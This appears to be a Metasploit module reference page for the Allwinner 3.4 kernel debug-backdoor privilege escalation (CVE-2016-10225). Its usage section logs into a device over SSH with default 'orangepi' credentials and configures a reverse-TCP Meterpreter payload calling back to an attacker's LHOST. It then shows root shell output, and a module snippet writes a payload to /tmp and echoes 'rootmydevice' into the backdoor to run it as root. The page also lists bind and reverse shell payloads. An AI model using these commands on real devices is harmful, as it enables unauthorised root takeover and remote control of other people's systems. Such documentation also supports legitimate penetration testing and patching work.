Allwinner 3.4 Legacy Kernel Local Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/multi/local/allwinner_backdoor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Allwinner 3.4 Legacy Kernel Local Privilege Escalation
Module: exploit/multi/local/allwinner_backdoor
Source code: modules/exploits/multi/local/allwinner_backdoor.rb
Disclosure date: 2016-04-30
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): armle
Supported platform(s): Android, Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-10225

This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4 Vulnerable OS: all OS images available for Orange Pis, any for FriendlyARM's NanoPi M1, SinoVoip's M2+ and M3, Cuebietech's Cubietruck + Linksprite's pcDuino8 Uno Exploitation may be possible against Dragon (x10) and Allwinner Android tablets

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/multi/local/allwinner_backdoor
msf exploit(allwinner_backdoor) > show targets
    ... a list of targets ...
msf exploit(allwinner_backdoor) > set TARGET target-id
msf exploit(allwinner_backdoor) > show options
    ... show and set options ...
msf exploit(allwinner_backdoor) > set SESSION session-id
msf exploit(allwinner_backdoor) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Introduction


Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4 Vulnerable OS: all OS images available for Orange Pis, any for FriendlyARM's NanoPi M1, SinoVoip's M2+ and M3, Cuebietech's Cubietruck + Linksprite's pcDuino8 Uno Exploitation may be possible against Dragon (x10) and Allwinner Android tablets

This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in Metasploit issue #6869. It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.

Usage


To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.

  • use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username orangepi
username => orangepi
msf auxiliary(ssh_login) > set password orangepi
password => orangepi
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
rhosts => 192.168.2.21
msf auxiliary(ssh_login) > exploit

[*] 192.168.2.21:22 SSH - Starting bruteforce
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
  • use exploit/multi/local/allwinner_backdoor
msf exploit(allwinner_backdoor) > set verbose true
verbose => true
msf exploit(allwinner_backdoor) > set session 1
session => 1
msf exploit(allwinner_backdoor) > set payload linux/armle/meterpreter/reverse_tcp
payload => linux/armle/meterpreter/reverse_tcp
msf exploit(allwinner_backdoor) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(allwinner_backdoor) > check
[*]  The target appears to be vulnerable.
msf exploit(allwinner_backdoor) > exploit

Successful exploitation:


[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (374540 bytes) to 192.168.2.248
[+] Backdoor Found, writing payload to /tmp/odzVx.elf
[*] Max line length is 65537
[*] Writing 284 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
[+] Escalating
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (374540 bytes) to 192.168.2.248
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.248:49472) at 2016-09-22 21:56:50 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 192.168.2.248
OS           : Ubuntu 14.04 (Linux 3.4.39)
Architecture : armv7l
Meterpreter  : armle/linux

Go back to menu.

Msfconsole Usage


Here is how the multi/local/allwinner_backdoor exploit module looks in the msfconsole:

msf6 > use exploit/multi/local/allwinner_backdoor

[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(multi/local/allwinner_backdoor) > show info

       Name: Allwinner 3.4 Legacy Kernel Local Privilege Escalation
     Module: exploit/multi/local/allwinner_backdoor
   Platform: Android, Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-04-30

Provided by:
  h00die <[email protected]>
  KotCzarny

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  This module attempts to exploit a debug backdoor privilege 
  escalation in Allwinner SoC based devices. Vulnerable Allwinner SoC 
  chips: H3, A83T or H8 which rely on Kernel 3.4 Vulnerable OS: all OS 
  images available for Orange Pis, any for FriendlyARM's NanoPi M1, 
  SinoVoip's M2+ and M3, Cuebietech's Cubietruck + Linksprite's 
  pcDuino8 Uno Exploitation may be possible against Dragon (x10) and 
  Allwinner Android tablets

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-10225
  http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/
  https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us
  http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390

Module Options


This is a complete list of options available in the multi/local/allwinner_backdoor exploit:

msf6 exploit(multi/local/allwinner_backdoor) > show options

Module options (exploit/multi/local/allwinner_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the multi/local/allwinner_backdoor exploit:

msf6 exploit(multi/local/allwinner_backdoor) > show advanced

Module advanced options (exploit/multi/local/allwinner_backdoor):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (linux/armle/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/local/allwinner_backdoor module can exploit:

msf6 exploit(multi/local/allwinner_backdoor) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/local/allwinner_backdoor exploit:

msf6 exploit(multi/local/allwinner_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                           Disclosure Date  Rank    Check  Description
   -   ----                                           ---------------  ----    -----  -----------
   0   payload/generic/custom                                          normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                  normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                               normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/armle/adduser                                     normal  No     Linux Add User
   4   payload/linux/armle/exec                                        normal  No     Linux Execute Command
   5   payload/linux/armle/meterpreter/bind_tcp                        normal  No     Linux Meterpreter, Bind TCP Stager
   6   payload/linux/armle/meterpreter/reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Stager
   7   payload/linux/armle/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   8   payload/linux/armle/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   9   payload/linux/armle/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   10  payload/linux/armle/shell/bind_tcp                              normal  No     Linux dup2 Command Shell, Bind TCP Stager
   11  payload/linux/armle/shell/reverse_tcp                           normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   12  payload/linux/armle/shell_bind_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   13  payload/linux/armle/shell_reverse_tcp                           normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/local/allwinner_backdoor exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/local/allwinner_backdoor) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Backdoor <BACKDOOR> not found.


Here is a relevant code snippet related to the "Backdoor <BACKDOOR> not found." error message:

72:	      vprint_good "Backdoor Found, writing payload to #{exe_file}"
73:	      write_file(exe_file, pl)
74:	      cmd_exec("chmod +x #{exe_file}")
75:	
76:	      vprint_good 'Escalating'
77:	      cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
78:	    else
79:	      print_error "Backdoor #{backdoor} not found."
80:	    end
81:	  end
82:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.